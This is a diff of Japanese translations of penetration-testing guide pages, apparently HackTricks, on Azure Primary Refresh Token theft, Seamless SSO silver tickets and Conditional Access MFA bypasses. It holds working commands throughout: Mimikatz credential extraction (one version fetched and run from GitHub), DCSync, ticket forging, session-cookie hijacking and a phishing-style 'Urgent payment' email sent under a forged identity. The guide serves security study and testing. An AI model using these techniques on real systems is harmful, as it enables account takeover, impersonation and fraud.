Mimikatzからの値がある場合は、AADInternalsを使用してトークンを生成することもできます:
|
||||
```bash
|
||||
# Mimikat "PRT" value
|
||||
$MimikatzPRT="MC5BWU..."
|
||||
|
||||
# Add padding
|
||||
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}
|
||||
|
||||
# Decode
|
||||
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
|
||||
|
||||
# Mimikatz "Clear key" value
|
||||
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"
|
||||
|
||||
# Convert to Byte array and B64 encode
|
||||
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))
|
||||
|
||||
# Generate PRTToken with Nonce
|
||||
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
|
||||
$prtToken
|
||||
## You can already use this token ac cookie in the browser
|
||||
|
||||
# Get access token from prtToken
|
||||
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
|
||||
|
||||
# Verify access and connect with Az. You can see account id in mimikatz prt output
|
||||
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
|
||||
```
|
||||
[https://login.microsoftonline.com](https://login.microsoftonline.com) に移動し、login.microsoftonline.com のすべてのクッキーをクリアして、新しいクッキーを入力します。
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
Path: /
|
||||
HttpOnly: Set to True (checked)
|
||||
```
|
||||
次に、[https://portal.azure.com](https://portal.azure.com)に移動します。
|
||||
|
||||
> [!CAUTION]
|
||||
> 残りはデフォルトのはずです。ページを更新でき、クッキーが消えないことを確認してください。消えた場合は、間違いを犯した可能性があり、プロセスを再度行う必要があります。消えない場合は、問題ありません。
|
||||
|
||||
### 攻撃 - Mimikatz
|
||||
|
||||
#### 手順
|
||||
|
||||
1. **PRT (Primary Refresh Token) が LSASS** (Local Security Authority Subsystem Service) から抽出され、後で使用するために保存されます。
|
||||
2. **次にセッションキーが抽出されます**。このキーは最初に発行され、その後ローカルデバイスによって再暗号化されるため、DPAPI マスタキーを使用して復号化する必要があります。DPAPI (Data Protection API) に関する詳細情報は、これらのリソースで確認できます: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) およびその適用については、[Pass-the-cookie attack](az-pass-the-cookie.md)を参照してください。
|
||||
3. セッションキーの復号化後、**PRT のための派生キーとコンテキストが取得されます**。これらは**PRT クッキーの作成に重要です**。具体的には、派生キーはクッキーを構成する JWT (JSON Web Token) の署名に使用されます。このプロセスの詳細な説明は、Dirk-jan によって提供されており、[こちら](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)でアクセスできます。
|
||||
|
||||
> [!CAUTION]
|
||||
> PRT が TPM 内にあり、`lsass` 内にない場合、**mimikatz はそれを抽出できません**。\
|
||||
> ただし、TPM からのコンテキストから派生キーを取得し、それを使用して**クッキーに署名することは可能です (オプション 3 を確認してください)**。
|
||||
|
||||
これらの詳細を抽出するために実行されたプロセスの**詳細な説明**は、こちらで確認できます: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
|
||||
> [!WARNING]
|
||||
> これは、2021年8月の修正後、他のユーザーの PRT トークンを取得するためには正確には機能しません。なぜなら、ユーザーのみが自分の PRT を取得できるからです (ローカル管理者は他のユーザーの PRT にアクセスできませんが、自分の PRT にはアクセスできます)。
|
||||
|
||||
**mimikatz** を使用して PRT を抽出できます:
|
||||
```bash
|
||||
mimikatz.exe
|
||||
Privilege::debug
|
||||
Sekurlsa::cloudap
|
||||
|
||||
# Or in powershell
|
||||
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
|
||||
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
```
|
||||
(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
|
||||
|
||||
<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**PRT**とラベル付けされた部分を**コピー**して保存します。\
|
||||
また、下にハイライトされている**`ProofOfPossesionKey`**フィールドの**`KeyValue`**であるセッションキーも抽出します。これは暗号化されており、復号化するためにDPAPIマスタキーを使用する必要があります。
|
||||
|
||||
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> PRTデータが表示されない場合、デバイスがAzure ADに参加していないために**PRTがない**か、**古いバージョン**のWindows 10を実行している可能性があります。
|
||||
|
||||
セッションキーを**復号化**するには、**SYSTEM**権限に**昇格**してコンピュータコンテキストで実行し、**DPAPIマスタキーを使用して復号化**できるようにする必要があります。次のコマンドを使用して実行できます:
|
||||
```
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
|
||||
```
|
||||
<figure><img src="../../../images/image (183).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### オプション 1 - フル Mimikatz
|
||||
|
||||
- 現在、両方のコンテキスト値をコピーしたいです:
|
||||
|
||||
<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- そして、派生キー値を:
|
||||
|
||||
<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- 最後に、これらの情報を使用して**PRTクッキーを生成**できます:
|
||||
```bash
|
||||
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
|
||||
```
|
||||
<figure><img src="../../../images/image (282).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- [https://login.microsoftonline.com](https://login.microsoftonline.com) に移動し、login.microsoftonline.com のすべてのクッキーをクリアして、新しいクッキーを入力します。
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
Path: /
|
||||
HttpOnly: Set to True (checked)
|
||||
```
|
||||
- 次に [https://portal.azure.com](https://portal.azure.com) に移動します。
|
||||
|
||||
> [!CAUTION]
|
||||
> 残りはデフォルトのままであるべきです。ページを更新でき、クッキーが消えないことを確認してください。消えた場合は、間違いを犯した可能性があり、プロセスを再度行う必要があります。消えない場合は、問題ありません。
|
||||
|
||||
#### オプション 2 - PRTを使用したroadrecon
|
||||
|
||||
- まずPRTを更新し、`roadtx.prt`に保存します：
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
- これで、`roadtx browserprtauth`を使用してインタラクティブブラウザで**トークンを要求**できます。`roadtx describe`コマンドを使用すると、アクセス トークンに MFA クレームが含まれていることがわかります。これは、今回使用した PRT にも MFA クレームが含まれていたためです。
|
||||
```bash
|
||||
roadtx browserprtauth
|
||||
roadtx describe < .roadtools_auth
|
||||
```
|
||||
<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### オプション 3 - derived keys を使用した roadrecon
|
||||
|
||||
コンテキストと mimikatz によってダンプされた derived key があれば、roadrecon を使用して新しい署名付きクッキーを生成することが可能です:
|
||||
```bash
|
||||
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
|
||||
```
|
||||
## 参考文献
|
||||
|
||||
- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/)
|
||||
- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
これは、[**PHS (パスワードハッシュ同期)**](phs-password-hash-sync.md) と [**PTA (パススルー認証)**](pta-pass-through-authentication.md) の両方でサポートされています。
|
||||
|
||||
デスクトップSSOは、**Kerberos**を使用して認証を行います。構成されると、Azure AD ConnectはオンプレミスADに**`AZUREADSSOACC$`というコンピュータアカウントを作成します**。`AZUREADSSOACC$`アカウントのパスワードは、構成中に**平文でEntra IDに送信されます**。
|
||||
デスクトップSSOは、認証に**Kerberos**を使用しています。構成されると、Azure AD ConnectはオンプレミスADに**`AZUREADSSOACC$`というコンピュータアカウントを作成します**。`AZUREADSSOACC$`アカウントのパスワードは、構成中に**平文でEntra IDに送信されます**。
|
||||
|
||||
**Kerberosチケット**は、パスワードの**NTHash (MD4)**を使用して**暗号化**され、Entra IDは送信されたパスワードを使用してチケットを復号化します。
|
||||
|
||||
@@ -37,21 +37,21 @@ $searcher.FindOne()
|
||||
## ピボット: オンプレ -> クラウド
|
||||
|
||||
> [!WARNING]
|
||||
> この攻撃について知っておくべき主なことは、Entra ID と同期されたユーザーの TGT または特定の TGS を持っているだけで、クラウドリソースにアクセスできるということです。\
|
||||
> これは、クラウドにログインするためにユーザーが使用するチケットだからです。
|
||||
> この攻撃について知っておくべき主なことは、Entra IDと同期されたユーザーのTGTまたは特定のTGSを持っているだけで、クラウドリソースにアクセスできるということです。\
|
||||
> これは、ユーザーがクラウドにログインすることを許可するチケットだからです。
|
||||
|
||||
その TGS チケットを取得するために、攻撃者は次のいずれかを持っている必要があります:
|
||||
- **侵害されたユーザーの TGS:** メモリ内の `HTTP/autologon.microsoftazuread-sso.com` へのチケットを持つユーザーのセッションを侵害すると、クラウドリソースにアクセスするためにそれを使用できます。
|
||||
- **侵害されたユーザーの TGT:** たとえ持っていなくても、ユーザーが侵害されていれば、[Kekeo](https://x.com/gentilkiwi/status/998219775485661184) や [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9) などの多くのツールに実装されている偽の TGT 委任トリックを使用して取得できます。
|
||||
- **侵害されたユーザーのハッシュまたはパスワード:** SeamlessPass は、この情報を使用してドメインコントローラーと通信し、TGT を生成し、その後 TGS を生成します。
|
||||
- **ゴールデンチケット:** KRBTGT キーを持っていれば、攻撃されたユーザーに必要な TGT を作成できます。
|
||||
- **AZUREADSSOACC$ アカウントのハッシュまたはパスワード:** この情報とユーザーのセキュリティ識別子 (SID) を使用して攻撃することで、サービスチケットを作成し、クラウドに認証することが可能です（前の方法で実行されたように）。
|
||||
そのTGSチケットを取得するために、攻撃者は次のいずれかを持っている必要があります:
|
||||
- **侵害されたユーザーのTGS:** メモリ内で`HTTP/autologon.microsoftazuread-sso.com`へのチケットを持つユーザーのセッションを侵害すると、これを使用してクラウドリソースにアクセスできます。
|
||||
- **侵害されたユーザーのTGT:** たとえ持っていなくても、ユーザーが侵害されていれば、[Kekeo](https://x.com/gentilkiwi/status/998219775485661184)や[Rubues](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)などの多くのツールに実装されている偽のTGT委任トリックを使用して取得できます。
|
||||
- **侵害されたユーザーのハッシュまたはパスワード:** SeamlessPassは、この情報を使用してドメインコントローラーと通信し、TGTを生成し、その後TGSを生成します。
|
||||
- **ゴールデンチケット:** KRBTGTキーを持っていれば、攻撃されたユーザーに必要なTGTを作成できます。
|
||||
- **AZUREADSSOACC$アカウントのハッシュまたはパスワード:** この情報とユーザーのセキュリティ識別子（SID）を使用して攻撃することで、サービスチケットを作成し、クラウドで認証することが可能です（前の方法で実行されたように）。
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
|
||||
[このブログ記事で説明されているように](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)、前述の要件のいずれかを持っていれば、侵害されたユーザーとして、または **`AZUREADSSOACC$`** アカウントのハッシュまたはパスワードを持っていれば、ツール **SeamlessPass** を使用してクラウドリソースにアクセスするのは非常に簡単です。
|
||||
[このブログ記事で説明されているように](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)、前述の要件のいずれかを持っていれば、侵害されたユーザーとして、または**`AZUREADSSOACC$`**アカウントのハッシュまたはパスワードを持っていれば、ツール**SeamlessPass**を使用してクラウドリソースにアクセスするのは非常に簡単です。
|
||||
|
||||
最後に、TGT を使用して、ツール [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) を使用することが可能です:
|
||||
最後に、TGTを使用して、ツール[**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)を使用することが可能です:
|
||||
```bash
|
||||
# Using the TGT to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
|
||||
@@ -69,7 +69,7 @@ wmic useraccount get name,sid # Get the user SIDs
|
||||
|
||||
### AZUREADSSOACC$アカウントのハッシュを取得する
|
||||
|
||||
ユーザー**`AZUREADSSOACC$`の** **パスワード**は**決して変更されません**。したがって、ドメイン管理者はこの**アカウントのハッシュ**を危険にさらし、それを使用して**シルバーチケット**を作成し、**同期された任意のオンプレミスユーザー**でAzureに接続することができます。
|
||||
ユーザー**`AZUREADSSOACC$`の** **パスワード**は**決して変わりません**。したがって、ドメイン管理者はこの**アカウントのハッシュ**を危険にさらし、それを使用して**シルバーチケット**を作成し、**同期された任意のオンプレミスユーザー**でAzureに接続することができます。
|
||||
```bash
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
@@ -91,7 +91,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
> 現在の情報を使用すると、ドメイン内の任意のユーザーのために、前述のようにツール**SeamlessPass**を使用してazureおよびentraidトークンを取得できます。
|
||||
> また、`AZUREADSSOACC$`アカウントの代わりに、なりすましたい被害者のパスワードのハッシュを取得するために、前述の技術（およびその他）を使用することもできます。
|
||||
|
||||
#### Silverチケットの作成
|
||||
#### Creating Silver Tickets
|
||||
|
||||
ハッシュを使用して、**シルバーチケットを生成**できます：
|
||||
```bash
|
||||
@@ -108,18 +108,18 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
|
||||
## Send email
|
||||
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
|
||||
```
|
||||
### SilverチケットをFirefoxで使用する
|
||||
### Using Silver Tickets with Firefox
|
||||
|
||||
Silverチケットを利用するには、以下の手順を実行する必要があります：
|
||||
銀チケットを利用するには、以下の手順を実行する必要があります：
|
||||
|
||||
1. **ブラウザを起動する:** Mozilla Firefoxを起動します。
|
||||
2. **ブラウザを設定する:**
|
||||
- **`about:config`**に移動します。
|
||||
- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)の設定を指定された[value](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)にします：
|
||||
- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)の設定を指定された[value](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)に設定します：
|
||||
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
|
||||
- Firefoxの`設定`に移動し、`Microsoft、職場および学校アカウントのためのWindowsシングルサインオンを許可する`を検索して有効にします。
|
||||
3. **Webアプリケーションにアクセスする:**
|
||||
- 組織のAADドメインと統合されたWebアプリケーションにアクセスします。一般的な例は[login.microsoftonline.com](https://login.microsoftonline.com/)です。
|
||||
- 組織のAADドメインに統合されたWebアプリケーションにアクセスします。一般的な例は[login.microsoftonline.com](https://login.microsoftonline.com/)です。
|
||||
4. **認証プロセス:**
|
||||
- ログイン画面で、ユーザー名を入力し、パスワードフィールドは空白のままにします。
|
||||
- 続行するには、TABまたはENTERを押します。
|
||||
@@ -127,7 +127,7 @@ Silverチケットを利用するには、以下の手順を実行する必要
|
||||
> [!WARNING]
|
||||
> これは**ユーザーにMFAが有効な場合はバイパスしません**。
|
||||
|
||||
### オンプレミス -> クラウドへのリソースベースの制約付き委任 <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
### On-prem -> Cloud via Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
攻撃を実行するには、以下が必要です：
|
||||
|
||||
@@ -135,7 +135,7 @@ Silverチケットを利用するには、以下の手順を実行する必要
|
||||
- あなたが制御するコンピュータアカウント（ハッシュとパスワード） - 作成することができます
|
||||
|
||||
1. ステップ1 – 自分のコンピュータアカウントを追加する
|
||||
- `ATTACKBOX$`を作成し、そのSID/NTLMハッシュを表示します。任意のドメインユーザーがこれを行うことができ、MachineAccountQuota > 0のときに可能です。
|
||||
- `ATTACKBOX$`を作成し、そのSID/NTLMハッシュを表示します。任意のドメインユーザーがMachineAccountQuota > 0の間にこれを行うことができます。
|
||||
```bash
|
||||
# Impacket
|
||||
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
|
||||
@@ -168,17 +168,14 @@ Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
|
||||
```
|
||||
あなたは今、**TGSを使用して、なりすましユーザーとしてAzureリソースにアクセスできます。**
|
||||
|
||||
|
||||
### ~~クラウド専用ユーザーのためのKerberosチケットの作成~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Active Directory管理者がAzure AD Connectにアクセスできる場合、彼らは**任意のクラウドユーザーのSIDを設定することができます**。この方法で、Kerberos **チケット**は**クラウド専用ユーザーのためにも作成できます**。唯一の要件は、SIDが適切な[SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>)であることです。
|
||||
Active Directory管理者がAzure AD Connectにアクセスできる場合、**任意のクラウドユーザーのSIDを設定することができます**。この方法で、Kerberos **チケット**は**クラウド専用ユーザーのためにも作成できます**。唯一の要件は、SIDが適切な[SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>)であることです。
|
||||
|
||||
> [!CAUTION]
|
||||
> クラウド専用管理ユーザーのSIDを変更することは現在**Microsoftによってブロックされています**。\
|
||||
> クラウド専用管理ユーザーのSIDの変更は現在**Microsoftによってブロックされています**。\
|
||||
> 詳細は[https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)を確認してください。
|
||||
|
||||
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
|
||||
@@ -7,7 +7,7 @@
|
||||
Azure Conditional Access ポリシーは、特定の **条件** に基づいて Azure サービスおよびアプリケーションへのアクセス制御を強制するために Microsoft Azure で設定されたルールです。これらのポリシーは、適切な状況下で適切なアクセス制御を適用することにより、組織がリソースを保護するのに役立ちます。\
|
||||
Conditional access ポリシーは基本的に **誰** が **何** に **どこから** **どのように** アクセスできるかを **定義** します。
|
||||
|
||||
以下は、いくつかの例です：
|
||||
以下は2つの例です：
|
||||
|
||||
1. **サインインリスクポリシー**: このポリシーは、サインインリスクが検出された場合に多要素認証 (MFA) を要求するように設定できます。たとえば、ユーザーのログイン行動が通常のパターンと異なる場合、たとえば異なる国からのログインなど、システムは追加の認証を促すことができます。
|
||||
2. **デバイスコンプライアンスポリシー**: このポリシーは、組織のセキュリティ基準に準拠しているデバイスのみが Azure サービスにアクセスできるように制限できます。たとえば、最新のウイルス対策ソフトウェアがインストールされているデバイスや特定のオペレーティングシステムバージョンを実行しているデバイスからのみアクセスが許可される場合があります。
|
||||
@@ -22,14 +22,14 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
|
||||
```
|
||||
## Conditional Acces Policies Bypasses
|
||||
|
||||
条件付きアクセス ポリシーが **簡単に改ざんできる情報をチェックしている可能性があり、ポリシーのバイパスを許可する**ことがあります。たとえば、ポリシーが MFA を設定している場合、攻撃者はそれをバイパスできるでしょう。
|
||||
条件付きアクセス ポリシーが **簡単に改ざんできる情報をチェックしている可能性があり、ポリシーをバイパスできる**ことがあります。たとえば、ポリシーが MFA を設定している場合、攻撃者はそれをバイパスできるでしょう。
|
||||
|
||||
条件付きアクセス ポリシーを設定する際には、**影響を受けるユーザー**と**ターゲットリソース**（すべてのクラウドアプリなど）を指定する必要があります。
|
||||
条件付きアクセス ポリシーを設定する際には、**影響を受けるユーザー**と **ターゲットリソース**（すべてのクラウドアプリなど）を指定する必要があります。
|
||||
|
||||
また、ポリシーを**トリガー**する**条件**を設定する必要があります：
|
||||
また、ポリシーを **トリガー**する **条件**を設定する必要があります：
|
||||
|
||||
- **ネットワーク**: IP、IP 範囲、地理的位置
|
||||
- VPN またはプロキシを使用して国に接続するか、許可された IP アドレスからログインすることでバイパス可能
|
||||
- VPN またはプロキシを使用して、許可された IP アドレスからログインすることでバイパス可能
|
||||
- **Microsoft リスク**: ユーザーリスク、サインインリスク、内部者リスク
|
||||
- **デバイスプラットフォーム**: 任意のデバイスまたは Android、iOS、Windows Phone、Windows、macOS、Linux を選択
|
||||
- 「任意のデバイス」が選択されていないが、他のすべてのオプションが選択されている場合、これらのプラットフォームに関連しないランダムなユーザーエージェントを使用してバイパス可能
|
||||
@@ -37,18 +37,18 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
|
||||
- 選択されていないオプションでログインをバイパスする
|
||||
- **デバイスのフィルタ**: 使用されているデバイスに関連するルールを生成可能
|
||||
- **認証フロー**: オプションは「デバイス コード フロー」と「認証転送」
|
||||
- これは、攻撃者がフィッシング試行で被害者のアカウントにアクセスするためにこれらのプロトコルを悪用しようとしない限り、影響を与えません
|
||||
- これは、攻撃者がフィッシング試行で被害者のアカウントにアクセスしようとしない限り、影響を与えません
|
||||
|
||||
可能な**結果**は次のとおりです: アクセスをブロックまたは許可し、MFA を要求する、デバイスが準拠している必要があるなどの条件が付くことがあります…
|
||||
可能な **結果** は次のとおりです: アクセスをブロックまたは許可し、MFA を要求する、デバイスが準拠している必要があるなどの条件が付くことがあります…
|
||||
|
||||
### Device Platforms - Device Condition
|
||||
|
||||
**デバイスプラットフォーム**（Android、iOS、Windows、macOS...）に基づいて条件を設定することが可能ですが、これは**ユーザーエージェント**に基づいているため、バイパスが容易です。すべてのオプションで MFA を強制しても、**認識されないユーザーエージェント**を使用すれば、MFA またはブロックをバイパスできます：
|
||||
**デバイスプラットフォーム**（Android、iOS、Windows、macOS など）に基づいて条件を設定することが可能ですが、これは **ユーザーエージェント** に基づいているため、バイパスが容易です。すべてのオプションで MFA を強制しても、**認識されないユーザーエージェント**を使用すれば、MFA またはブロックをバイパスできます：
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ブラウザに**不明なユーザーエージェント**（例: `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`）を送信させるだけで、この条件をトリガーしないようにできます。\
|
||||
開発者ツールでユーザーエージェントを**手動で**変更できます：
|
||||
ブラウザに **不明なユーザーエージェント**（例: `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`）を送信させるだけで、この条件をトリガーしないようにできます。\
|
||||
開発者ツールでユーザーエージェントを **手動で**変更できます：
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@@ -56,7 +56,7 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
|
||||
|
||||
### Locations: Countries, IP ranges - Device Condition
|
||||
|
||||
これが条件付きポリシーに設定されている場合、攻撃者は**許可された国**で**VPN**を使用するか、**許可された IP アドレス**からアクセスする方法を見つけることで、これらの条件をバイパスできます。
|
||||
これが条件付きポリシーに設定されている場合、攻撃者は **許可された国**で **VPN**を使用するか、**許可された IP アドレス**からアクセスする方法を見つけて、これらの条件をバイパスできます。
|
||||
|
||||
### Cloud Apps
|
||||
|
||||
@@ -64,35 +64,35 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
この保護をバイパスしようとする場合、**任意のアプリケーションにのみアクセスできるかどうか**を確認する必要があります。\
|
||||
ツール[**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)には、**ハードコーディングされた数十のアプリケーション ID**があり、それらにログインしようとし、成功した場合はトークンを提供します。
|
||||
この保護をバイパスしようとする場合、**任意のアプリケーションにのみログインできるか**を確認する必要があります。\
|
||||
ツール [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) は **ハードコーディングされた数十のアプリケーション ID**を持ち、それらにログインしようとし、成功した場合はトークンを提供します。
|
||||
|
||||
特定のリソース内の**特定のアプリケーション ID**をテストするために、次のようなツールを使用することもできます：
|
||||
特定のリソース内の **特定のアプリケーション ID**をテストするために、次のようなツールを使用することもできます：
|
||||
```bash
|
||||
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
|
||||
|
||||
<token>
|
||||
```
|
||||
さらに、ログイン方法を保護することも可能です（例えば、ブラウザからまたはデスクトップアプリケーションからログインしようとしている場合）。ツール [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) は、この保護をバイパスしようとするいくつかのチェックを実行します。
|
||||
さらに、ログイン方法を保護することも可能です（例えば、ブラウザからまたはデスクトップアプリケーションからログインしようとしている場合）。ツール[**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep)は、この保護をバイパスしようとするいくつかのチェックを実行します。
|
||||
|
||||
ツール [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) も同様の目的で使用される可能性がありますが、メンテナンスされていないようです。
|
||||
ツール[**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken)も同様の目的で使用される可能性がありますが、メンテナンスされていないようです。
|
||||
|
||||
ツール [**ROPCI**](https://github.com/wunderwuzzi23/ropci) もこの保護をテストし、MFAやブロックをバイパスできるかどうかを確認するために使用できますが、このツールは **ホワイトボックス** の視点から動作します。最初にテナントで許可されているアプリのリストをダウンロードし、その後それらにログインしようとします。
|
||||
ツール[**ROPCI**](https://github.com/wunderwuzzi23/ropci)もこの保護をテストし、MFAやブロックをバイパスできるかどうかを確認するために使用できますが、このツールは**ホワイトボックス**の視点から動作します。最初にテナントで許可されているアプリのリストをダウンロードし、その後それらにログインしようとします。
|
||||
|
||||
## その他の Az MFA バイパス
|
||||
## その他のAz MFAバイパス
|
||||
|
||||
### 着信音
|
||||
|
||||
Azure MFA のオプションの一つは、**設定された電話番号に電話を受ける**ことで、ユーザーに**文字 `#` を送信するように求められます**。
|
||||
Azure MFAのオプションの1つは、**設定された電話番号に電話を受ける**ことで、ユーザーに**文字`#`を送信するように求められます**。
|
||||
|
||||
> [!CAUTION]
|
||||
> 文字は単なる**トーン**であるため、攻撃者は**ボイスメール**メッセージを妥協し、メッセージとして**`#` のトーン**を設定し、その後、MFAを要求する際に**被害者の電話が通話中であることを確認**することで、Azureの通話がボイスメールにリダイレクトされるようにします。
|
||||
> 文字は単なる**トーン**であるため、攻撃者は**ボイスメール**メッセージを妥協し、メッセージとして**`#`のトーン**を設定し、MFAを要求する際に**被害者の電話が通話中であることを確認**することで、Azureの電話がボイスメールにリダイレクトされるようにすることができます。
|
||||
|
||||
### 準拠デバイス
|
||||
### コンプライアントデバイス
|
||||
|
||||
ポリシーはしばしば準拠デバイスまたはMFAを要求するため、**攻撃者は準拠デバイスを登録し**、**PRT**トークンを取得し、**この方法でMFAをバイパスする**ことができます。
|
||||
ポリシーはしばしばコンプライアントデバイスまたはMFAを要求するため、**攻撃者はコンプライアントデバイスを登録し**、**PRT**トークンを取得し、**この方法でMFAをバイパスする**ことができます。
|
||||
|
||||
まず、**Intuneに準拠デバイスを登録**し、その後**PRTを取得**します：
|
||||
まず、**Intuneにコンプライアントデバイスを登録**し、次に**PRTを取得**します：
|
||||
```bash
|
||||
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
|
||||
|
||||
@@ -105,16 +105,16 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
以下のページでこの種の攻撃に関する詳細情報を見つけてください：
|
||||
|
||||
{{#ref}}
|
||||
../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## ツール
|
||||
|
||||
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
|
||||
|
||||
このスクリプトはユーザーの資格情報を取得し、いくつかのアプリケーションにログインできるかどうかを確認します。
|
||||
